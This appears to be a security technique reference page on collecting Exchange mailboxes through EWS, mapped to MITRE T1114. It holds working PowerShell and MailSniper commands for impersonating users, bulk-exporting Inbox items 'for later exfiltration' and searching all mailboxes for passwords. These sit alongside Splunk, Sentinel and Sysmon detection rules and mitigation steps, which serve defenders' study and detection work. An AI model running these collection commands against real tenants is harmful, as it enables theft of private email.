MCADDF

[COLLECT-EMAIL-001]: Email Collection via EWS

Metadata

| Attribute | Details | |—|—| | Technique ID | COLLECT-EMAIL-001 | | MITRE ATT&CK v18.1 | Email Collection (T1114) / Remote Email Collection (T1114.002) – Exchange/EWS | | Tactic | Collection | | Platforms | M365 (Exchange Online), Exchange Server 2013–2019, Windows client running Outlook/PowerShell | | Severity | High | | Technique Status | PARTIAL (EWS still available with Modern Auth; Basic Auth mostly disabled in M365) | | Last Verified | 2024-09-30 | | Affected Versions | Exchange Online; Exchange Server 2013 CU23, 2016, 2019; Outlook 2016+; Windows 10/11 | | Patched In | N/A – protocol feature; risk mitigated via configuration (modern auth, Conditional Access, EWS application policies) rather than a single patch | | Environment | M365 | | Author | SERVTEPArtur Pchelnikau |


2. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | CIS Microsoft 365 / Exchange Online: secure legacy protocols, restrict programmatic access | Failure to disable or tightly control EWS and legacy auth allows bulk mailbox collection. | | DISA STIG | Microsoft 365 / Exchange Online STIG – auditing, mailbox access controls | Inadequate mailbox audit logging and weak admin/mailbox access violate STIG guidance for SaaS email services. | | CISA SCuBA | M365 Exchange configuration baseline | Over‑permissive service principals and unmonitored EWS access violate recommended secure configurations for cloud email. | | NIST 800-53 | AC-2, AC-3, AC-6, AU-2, AU-12 | Weak account management, fine‑grained access control and audit logging around mailbox APIs enable unsanctioned email collection. | | GDPR | Art. 5, Art. 32 | Bulk mailbox theft often includes personal data; failure to implement appropriate technical and organizational measures for email security. | | DORA | Art. 9 – ICT risk management | Unmonitored programmatic access to regulated communications breaks requirements for protecting critical data and monitoring ICT risks. | | NIS2 | Art. 21 – Cybersecurity risk‑management measures | Lack of monitoring and control over mailbox APIs used for strategic communications breaches risk‑management obligations. | | ISO 27001 | A.5, A.8.12, A.8.16, A.8.23 | Insufficient controls for secure use of SaaS email, logging and monitoring of access to information in electronic messaging. | | ISO 27005 | Email compromise / data exfiltration risk scenario | Uncontrolled API access to mailboxes represents a high‑impact information leakage risk requiring explicit treatment.

3. TECHNICAL PREREQUISITES

Supported Versions:

4. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance (Exchange Online)

# 1) Connect to Exchange Online
Import-Module ExchangeOnlineManagement
Connect-ExchangeOnline -UserPrincipalName analyst@tenant.onmicrosoft.com

# 2) Check global EWS configuration
Get-OrganizationConfig | Select-Object EwsEnabled, EwsApplicationAccessPolicy, EwsAllowList, EwsBlockList

# 3) Sample: find mailboxes where EWS is explicitly disabled
Get-CASMailbox -ResultSize Unlimited `
  | Where-Object { $_.EwsEnabled -eq $false } `
  | Select-Object UserPrincipalName, EwsEnabled

# 4) Identify admin / high-value mailboxes
Get-Mailbox -RecipientTypeDetails UserMailbox `
  | Where-Object { $_.DisplayName -match 'CEO|CFO|Security|Legal' } `
  | Select-Object DisplayName, UserPrincipalName

What to Look For:

Version Note:

Command (Exchange 2013–2019 on‑prem):

# Run in Exchange Management Shell on an Exchange server
Get-WebServicesVirtualDirectory | fl Identity, InternalUrl, ExternalUrl, BasicAuthentication, OAuthAuthentication

Get-ClientAccessService | Select-Object Name, Fqdn, IsClientAccessServer

Command (Exchange Online):

Get-OrganizationConfig | Select-Object EwsEnabled, Ews*Policy*
Get-CASMailbox -ResultSize 20 | Select-Object UserPrincipalName,EwsEnabled,EWSSAllowOutlook

Linux/Bash / CLI Reconnaissance

# Test connectivity to Exchange Online EWS endpoint
curl -I https://outlook.office365.com/EWS/Exchange.asmx

# Simple banner check against on-prem Exchange
curl -k -I https://exchange.corp.example.com/EWS/Exchange.asmx

What to Look For:

5. DETAILED EXECUTION METHODS AND THEIRS STEPS

METHOD 1 – PowerShell with EWS Managed API (Single Mailbox Export)

Supported Versions:

Step 1: Load EWS Managed API and Authenticate

Objective: Obtain an authenticated ExchangeService object against the target mailbox.

Version Note:

**Command (on‑prem / lab – Basic Auth example):

# Path to the EWS Managed API DLL
$ewsDllPath = 'C:\Program Files\Microsoft\Exchange\Web Services\2.2\Microsoft.Exchange.WebServices.dll'
Add-Type -Path $ewsDllPath

$service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService(`
    [Microsoft.Exchange.WebServices.Data.ExchangeVersion]::Exchange2013_SP1)

# Basic credentials (NOT valid on hardened M365 tenants)
$creds = New-Object System.Net.NetworkCredential('user@corp.local','P@ssw0rd!')
$service.Credentials = $creds
$service.AutodiscoverUrl('user@corp.local', { $true })

Command (Exchange Online – OAuth with MSAL token pre‑obtained):

# Assume you obtained an OAuth access token for EWS.AccessAsUser.All
# using MSAL / Azure AD app registration as per Microsoft Learn guidance.

Add-Type -Path 'C:\Tools\EWS\Microsoft.Exchange.WebServices.dll'
$service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService

$accessToken = $env:EWS_OAUTH_TOKEN   # supplied by separate auth helper
$service.Credentials = New-Object Microsoft.Exchange.WebServices.Data.OAuthCredentials($accessToken)
$service.Url = [Uri] 'https://outlook.office365.com/EWS/Exchange.asmx'
$service.ImpersonatedUserId = New-Object `
  Microsoft.Exchange.WebServices.Data.ImpersonatedUserId(`
    [Microsoft.Exchange.WebServices.Data.ConnectingIdType]::SmtpAddress,
    'victim.user@tenant.onmicrosoft.com')

Expected Output:

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Enumerate and Export Mail Items

Objective: Export mailbox items to .eml files for later exfiltration or offline analysis.

Command:

$exportRoot = 'C:\EWSExport'
New-Item -ItemType Directory -Path $exportRoot -Force | Out-Null

# Bind to Inbox (or any folder)
$inbox = [Microsoft.Exchange.WebServices.Data.Folder]::Bind(`
    $service,
    [Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox)

# Page through items
$view = New-Object Microsoft.Exchange.WebServices.Data.ItemView(100)
$view.PropertySet = [Microsoft.Exchange.WebServices.Data.PropertySet]::IdOnly

$more = $true
while ($more) {
    $results = $service.FindItems($inbox.Id, $view)

    foreach ($item in $results.Items) {
        $propSet = New-Object Microsoft.Exchange.WebServices.Data.PropertySet(`
            [Microsoft.Exchange.WebServices.Data.EmailMessageSchema]::MimeContent)
        $email = [Microsoft.Exchange.WebServices.Data.EmailMessage]::Bind($service, $item.Id, $propSet)

        $fileName = Join-Path $exportRoot ("{0}.eml" -f $email.Id.UniqueId.Replace('/', '_'))
        [System.IO.File]::WriteAllBytes($fileName, $email.MimeContent.Content)
    }

    $more = $results.MoreAvailable
    if ($more) { $view.Offset += $results.Items.Count }
}

Expected Output:

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

METHOD 2 – MailSniper PowerShell Module (Search and Collection)

Supported Versions:

Step 1: Self‑Mailbox Search via EWS

Objective: Search the current user mailbox for sensitive terms and export matching messages.

Command:

# Bypass execution policy only in lab environments
powershell.exe -ExecutionPolicy Bypass -File .\MailSniper.ps1

# In an interactive PowerShell session after importing MailSniper
Import-Module .\MailSniper.ps1

Invoke-SelfSearch -Mailbox user@tenant.onmicrosoft.com `
  -Terms '*password*','*creds*','*vpn*' `
  -Verbose

Expected Output:

What This Means:

OpSec & Evasion:

References & Proofs:

Step 2: Global Mailbox Search with Impersonation

Objective: Abuse ApplicationImpersonation to search all mailboxes for sensitive content via EWS.

Command (simplified example):

# After importing MailSniper and authenticating as an Exchange admin
Invoke-GlobalMailSearch `
  -ImpersonationAccount svc_ews_impersonation `
  -AutoDiscoverEmail admin@tenant.onmicrosoft.com `
  -MailsPerUser 200 `
  -Terms '*password*','*wire transfer*','*confidential*' `
  -OutputCsv global-email-search.csv

Expected Output:

What This Means:

Troubleshooting:

References & Proofs:

6. ATTACK SIMULATION & VERIFICATION

Atomic Red Team

7. TOOLS & COMMANDS REFERENCE

Exchange Web Services Managed API 2.2

Version: 2.2 (last published by Microsoft, now feature‑frozen). Minimum Version: 2.0. Supported Platforms: Windows with .NET Framework 4.x; works against Exchange 2010–2019 and Exchange Online.

Version-Specific Notes:

Installation:

# Example – manual installation
# 1) Download EWS Managed API 2.2 and extract DLL.
# 2) Place DLL under C:\Tools\EWS or Program Files.

Add-Type -Path 'C:\Tools\EWS\Microsoft.Exchange.WebServices.dll'

Usage:

$service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService
$service.Credentials = New-Object Microsoft.Exchange.WebServices.Data.OAuthCredentials($accessToken)
$service.Url = [Uri] 'https://outlook.office365.com/EWS/Exchange.asmx'

$inbox = [Microsoft.Exchange.WebServices.Data.Folder]::Bind(
    $service,
    [Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox)

Script (One-Liner)

# Quick EWS connectivity check (lab only)
Add-Type -Path 'C:\Tools\EWS\Microsoft.Exchange.WebServices.dll'; `
$svc = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService; `
$svc.Credentials = New-Object System.Net.NetworkCredential('user@corp.local','P@ssw0rd!'); `
$svc.AutodiscoverUrl('user@corp.local', { $true }); `
[Microsoft.Exchange.WebServices.Data.Folder]::Bind($svc,[Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox) | Out-Null; `
Write-Host 'EWS access OK'

8. SPLUNK DETECTION RULES

Rule 1: Suspicious EWS Mailbox Export / Bulk Access

Rule Configuration:

SPL Query:

index=o365 sourcetype=o365:management:activity Workload="Exchange"
| eval op=coalesce(Operation, operation)
| where op IN ("MailItemsAccessed","UpdateInboxRules","New-MailboxExportRequest","Export-Report","Search-Mailbox","New-ComplianceSearchAction")
| stats count AS op_count,
        values(op) AS operations,
        values(UserAgent) AS user_agents,
        values(ClientIP) AS client_ips
  BY UserId, UserKey, RecordType, object, appid
| where op_count > 1000

What This Detects:

Manual Configuration Steps:

  1. Log into Splunk Web and open Search & Reporting.
  2. Paste and tune the SPL query to your index/sourcetype naming.
  3. Click Save AsAlert.
  4. Configure the trigger condition (for example, op_count > 1000).
  5. Set the schedule (for example, run every 15 minutes over the last 60 minutes).
  6. Add actions (email to SOC, webhook to SOAR, ticket creation).

False Positive Analysis

9. MICROSOFT SENTINEL DETECTION

Query 1: Excessive MailItemsAccessed or Export Activity (EWS / Programmatic Access)

Rule Configuration:

KQL Query:

OfficeActivity
| where OfficeWorkload == "Exchange"
| where Operation in ("MailItemsAccessed", "New-MailboxExportRequest", "New-ComplianceSearch", "New-ComplianceSearchAction")
| extend UserAgent = tostring(parse_json(AuditData).UserAgent),
         ClientIP  = tostring(parse_json(AuditData).ClientIP),
         AppId     = tostring(parse_json(AuditData).AppId)
| summarize Count = count(),
            Operations = make_set(Operation),
            IPs        = make_set(ClientIP),
            Agents     = make_set(UserAgent)
  by UserId, AppId, bin(TimeGenerated, 30m)
| where Count > 1000

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Go to Azure PortalMicrosoft Sentinel.
  2. Select the workspace → Analytics.
  3. Click + CreateScheduled query rule.
  4. In General, name the rule Exchange – Suspicious EWS Mailbox Export and set severity to High.
  5. In Set rule logic, paste the KQL query, run every 15 minutes, look back 60 minutes.
  6. Enable incident creation and configure entity mappings (User, IP, Cloud Application).
  7. Review and create the rule.

Manual Configuration Steps (PowerShell):

Connect-AzAccount
$rg = 'Sentinel-RG'
$ws = 'Sentinel-Workspace'

$kql = @'
<Insert KQL query from above>
'@

New-AzSentinelAlertRule -ResourceGroupName $rg -WorkspaceName $ws `
  -DisplayName 'Exchange – Suspicious EWS Mailbox Export' `
  -Severity High `
  -Query $kql `
  -Enabled $true

10. WINDOWS EVENT LOG MONITORING

Event ID: 4624 (An account was successfully logged on)

Manual Configuration Steps (Group Policy):

  1. Open gpmc.msc.
  2. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration.
  3. Under Logon/Logoff, enable Audit Logon and Audit Logoff for Success and Failure.
  4. Link the GPO to OU(s) containing Exchange servers and admin workstations.
  5. Run gpupdate /force or wait for policy refresh.

Manual Configuration Steps (Local Policy):

  1. Open secpol.msc.
  2. Go to Advanced Audit Policy Configuration → System Audit Policies → Logon/Logoff.
  3. Enable Audit Logon with Success and Failure.
  4. Apply and close.

11. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13+ Supported Platforms: Windows Server 2016–2022, Windows 10/11.

<RuleGroup name="EWS Mail Collection" groupRelation="or">
  <ProcessCreate onmatch="include">
    <Image condition="contains">powershell.exe</Image>
    <CommandLine condition="contains">Microsoft.Exchange.WebServices</CommandLine>
  </ProcessCreate>
  <ProcessCreate onmatch="include">
    <Image condition="contains">pwsh.exe</Image>
    <CommandLine condition="contains">MailSniper.ps1</CommandLine>
  </ProcessCreate>
</RuleGroup>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals.
  2. Create or extend your sysmon-config.xml with the rule group above.
  3. Install or update Sysmon:
    sysmon64.exe -accepteula -i sysmon-config.xml
    
  4. Validate events in Microsoft-Windows-Sysmon/Operational log.

12. MICROSOFT DEFENDER FOR CLOUD / MICROSOFT 365 DEFENDER

Detection Alerts

Alert Name: Suspicious email exfiltration via EWS or third‑party app (naming varies by product).

Manual Configuration Steps (Enable Microsoft 365 Defender signals):

  1. Go to security.microsoft.com.
  2. Navigate to Settings → Endpoints / Email & Collaboration.
  3. Ensure Exchange Online integration and Advanced hunting are enabled.
  4. Confirm Alert policies for suspicious email exfiltration are active.

13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: MailItemsAccessed and Export‑like Operations

Connect-ExchangeOnline

$start = (Get-Date).AddDays(-7)
$end   = Get-Date

$records = Search-UnifiedAuditLog -StartDate $start -EndDate $end `
  -Operations MailItemsAccessed, New-MailboxExportRequest, New-ComplianceSearchAction `
  -ResultSize 5000

$records | Select-Object CreationDate, UserIds, Operation, AuditData `
  | Export-Csv 'C:\Audit\EWS-Mail-Collection.csv' -NoTypeInformation

Manual Configuration Steps (Enable Unified Audit Log):

  1. Open Microsoft Purview compliance portal.
  2. Go to Audit.
  3. If prompted, click Turn on auditing.
  4. Wait up to 24 hours for data to become available.

Manual Configuration Steps (Search Audit Logs):

  1. In Audit, select Search.
  2. Set date range (for example, last 7 days).
  3. Under Activities, include MailItemsAccessed, New-MailboxExportRequest, New-ComplianceSearchAction.
  4. Optionally filter by specific user(s) or app IDs.
  5. Run the search and export results for offline analysis.

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fix)

# List mailboxes with EWS still enabled
Get-CASMailbox -ResultSize Unlimited `
  | Where-Object { $_.EwsEnabled -eq $true } `
  | Select-Object UserPrincipalName

Expected Output (If Secure):

What to Look For:

15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate:
    # Example – disable compromised account
    Set-AzureADUser -ObjectId user@tenant.onmicrosoft.com -AccountEnabled $false
    
    • In the Azure Portal, revoke sign‑in sessions and invalidate refresh tokens for the impacted user and any suspicious app registrations.
  2. Collect Evidence:
    # Export relevant audit records
    $start = (Get-Date).AddDays(-7)
    $end   = Get-Date
    Search-UnifiedAuditLog -StartDate $start -EndDate $end -UserIds user@tenant.onmicrosoft.com `
      | Export-Csv 'C:\Evidence\UnifiedAuditLog.csv' -NoTypeInformation
    
  3. Remediate:
    • Remove malicious or unused Entra ID app registrations.
    • Remove ApplicationImpersonation and other elevated roles from compromised accounts.
    • Rotate credentials and enforce stronger Conditional Access.
Step Phase Technique Description
1 Initial Access IA-PHISH-001 / OAuth consent grant Phishing or malicious OAuth app used to obtain mailbox tokens.
2 Privilege Escalation PE-ACCTMGMT-001 / App Registration Escalation Attacker upgrades app permissions to full mailbox access.
3 Current Step COLLECT-EMAIL-001 – Email Collection via EWS Programmatic access to mailbox contents via EWS.
4 Persistence REALWORLD-001 / Email forwarding rules Forwarding rules or long‑lived refresh tokens maintain access.
5 Impact CHAIN-003 / Token Theft to Data Exfiltration Mass exfiltration of mailboxes and sensitive attachments.

17. REAL-WORLD EXAMPLES

Example 1: APT29 / SolarWinds – Remote Mailbox Collection

Example 2: HAFNIUM and other actors abusing Exchange EWS